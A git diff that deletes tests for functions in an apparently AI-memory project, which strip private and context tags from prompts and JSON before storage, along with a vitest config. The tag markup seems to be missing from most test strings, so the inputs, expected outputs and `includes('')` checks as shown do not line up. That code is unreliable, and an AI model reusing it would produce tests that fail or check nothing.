'../dist/utils/tag-stripping.js'; - -// Alias for clarity in tests (this tests the JSON context version) -const stripMemoryTags = stripMemoryTagsFromJson; - -describe('stripMemoryTags', () => { - // Basic functionality tests - - it('should strip tags', () => { - const input = 'before injected content after'; - const expected = 'before after'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - // Basic functionality tests - - it('should strip tags', () => { - const input = 'before sensitive data after'; - const expected = 'before after'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should strip both tag types in one string', () => { - const input = 'context middle private'; - const expected = 'middle'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle nested tags', () => { - const input = 'outer inner outer'; - const expected = ''; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle multiline content in tags', () => { - const input = `before - -line 1 -line 2 -line 3 - -after`; - const expected = 'before\n\nafter'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle multiple tags of same type', () => { - const input = 'first middle second'; - const expected = 'middle'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should return empty string for content that is only tags', () => { - const input = 'only this'; - const expected = ''; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle strings without tags', () => { - const input = 'no tags here'; - const expected = 'no tags here'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle empty string', () => { - const input = ''; - const expected = ''; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should trim whitespace after stripping', () => { - const input = ' content '; - const expected = ''; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle malformed tags (unclosed)', () => { - const input = 'unclosed tag content'; - const expected = 'unclosed tag content'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle tag-like strings that are not actual tags', () => { - const input = 'This is not a but looks like one'; - const expected = 'This is not a but looks like one'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - // Type safety tests - it('should handle non-string input safely (number)', () => { - const input = 123 as any; - const expected = '{}'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle non-string input safely (null)', () => { - const input = null as any; - const expected = '{}'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle non-string input safely (undefined)', () => { - const input = undefined as any; - const expected = '{}'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle non-string input safely (object)', () => { - const input = { foo: 'bar' } as any; - const expected = '{}'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - it('should handle non-string input safely (array)', () => { - const input = ['test'] as any; - const expected = '{}'; - assert.strictEqual(stripMemoryTags(input), expected); - }); - - // Real-world JSON scenarios - it('should strip tags from JSON.stringify output', () => { - const obj = { - message: 'hello', - context: 'past observation', - private: 'sensitive' - }; - const jsonStr = JSON.stringify(obj); - const result = stripMemoryTags(jsonStr); - - // Tags should be stripped from the JSON string - assert.ok(!result.includes('')); - assert.ok(!result.includes('')); - assert.ok(!result.includes('')); - assert.ok(!result.includes('')); - }); - - it('should handle very large content efficiently', () => { - const largeContent = 'x'.repeat(10000); - const input = `${largeContent}`; - const expected = ''; - assert.strictEqual(stripMemoryTags(input), expected); - }); -}); diff --git a/tests/user-prompt-tag-stripping.test.ts b/tests/user-prompt-tag-stripping.test.ts deleted file mode 100644 index 672a1ddb..00000000 --- a/tests/user-prompt-tag-stripping.test.ts +++ /dev/null @@ -1,140 +0,0 @@ -/** - * Integration tests for user prompt tag stripping - * Verifies that and tags are stripped - * from user prompts before storage in the user_prompts table. - */ - -import { describe, it } from 'node:test'; -import assert from 'node:assert'; -import { stripMemoryTagsFromPrompt } from '../dist/utils/tag-stripping.js'; - -// Alias for clarity in tests (this tests the prompt context version) -const stripMemoryTags = stripMemoryTagsFromPrompt; - -describe('User Prompt Tag Stripping', () => { - it('should strip tags from user prompts', () => { - const userPrompt = 'Please analyze this: API_KEY=secret123'; - const expected = 'Please analyze this:'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should strip tags from user prompts', () => { - const userPrompt = 'Past observations... Continue working'; - const expected = 'Continue working'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle prompts with multiple sections', () => { - const userPrompt = 'secret1 public text secret2'; - const expected = 'public text'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle prompts that are entirely private', () => { - const userPrompt = 'This entire prompt should not be stored'; - const expected = ''; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should preserve prompts without tags', () => { - const userPrompt = 'This is a normal prompt without any tags'; - const expected = 'This is a normal prompt without any tags'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle multiline private content in prompts', () => { - const userPrompt = `Before - -Line 1 of secret -Line 2 of secret -Line 3 of secret - -After`; - const expected = 'Before\n\nAfter'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle mixed tags in user prompts', () => { - const userPrompt = 'Context middle private end'; - const expected = 'middle end'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle real-world example: API credentials', () => { - const userPrompt = ` -OPENAI_API_KEY=sk-proj-abc123 -DATABASE_URL=postgresql://user:pass@host/db - - -Please help me connect to this database and run a query`; - - const result = stripMemoryTags(userPrompt); - assert.ok(!result.includes('OPENAI_API_KEY'), 'API key should be stripped'); - assert.ok(!result.includes('DATABASE_URL'), 'Database URL should be stripped'); - assert.ok(!result.includes(''), 'Private tags should be stripped'); - assert.ok(result.includes('Please help me connect'), 'Non-private content should remain'); - }); - - it('should handle real-world example: debugging context', () => { - const userPrompt = `I'm getting an error in the authentication flow. - - -Internal debugging notes: -- This is for the Smith project -- Deadline is tomorrow -- Using staging environment - - -Can you help me fix the token validation?`; - - const result = stripMemoryTags(userPrompt); - assert.ok(!result.includes('Smith project'), 'Debug notes should be stripped'); - assert.ok(!result.includes('Deadline'), 'Private context should be stripped'); - assert.ok(result.includes('authentication flow'), 'Problem description should remain'); - assert.ok(result.includes('token validation'), 'Question should remain'); - }); - - it('should handle edge case: only whitespace after tag removal', () => { - const userPrompt = ' everything '; - const expected = ''; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle edge case: unclosed tags (no stripping)', () => { - const userPrompt = 'Text unclosed tag'; - const expected = 'Text unclosed tag'; - assert.strictEqual(stripMemoryTags(userPrompt), expected); - }); - - it('should handle non-string input gracefully', () => { - // @ts-expect-error Testing runtime type safety - const result = stripMemoryTags(null); - assert.strictEqual(result, ''); - }); - - // Tests for fully private prompt behavior - it('should return empty string for fully private prompts', () => { - const fullyPrivate = 'Everything is private here'; - const result = stripMemoryTags(fullyPrivate); - assert.strictEqual(result, ''); - }); - - it('should return empty string for multiple private sections covering entire prompt', () => { - const fullyPrivate = 'Part 1 Part 2 Part 3'; - const result = stripMemoryTags(fullyPrivate); - assert.strictEqual(result, ''); - }); - - it('should detect fully private prompts with only whitespace outside tags', () => { - const fullyPrivate = ' Content '; - const result = stripMemoryTags(fullyPrivate); - assert.strictEqual(result, ''); - }); - - it('should not return empty for partially private prompts', () => { - const partiallyPrivate = 'Secret Public content here'; - const result = stripMemoryTags(partiallyPrivate); - assert.ok(result.trim().length > 0, 'Should have non-empty content'); - assert.ok(result.includes('Public'), 'Should contain public content'); - }); -}); diff --git a/vitest.config.ts b/vitest.config.ts deleted file mode 100644 index 938fa9e4..00000000 --- a/vitest.config.ts +++ /dev/null @@ -1,15 +0,0 @@ -import { defineConfig } from 'vitest/config'; - -export default defineConfig({ - test: { - globals: true, - include: ['tests/**/*.test.ts'], - exclude: [ - '**/node_modules/**', - '**/dist/**', - // Exclude node:test format files (they use node's native test runner) - 'tests/strip-memory-tags.test.ts', - 'tests/user-prompt-tag-stripping.test.ts' - ], - }, -});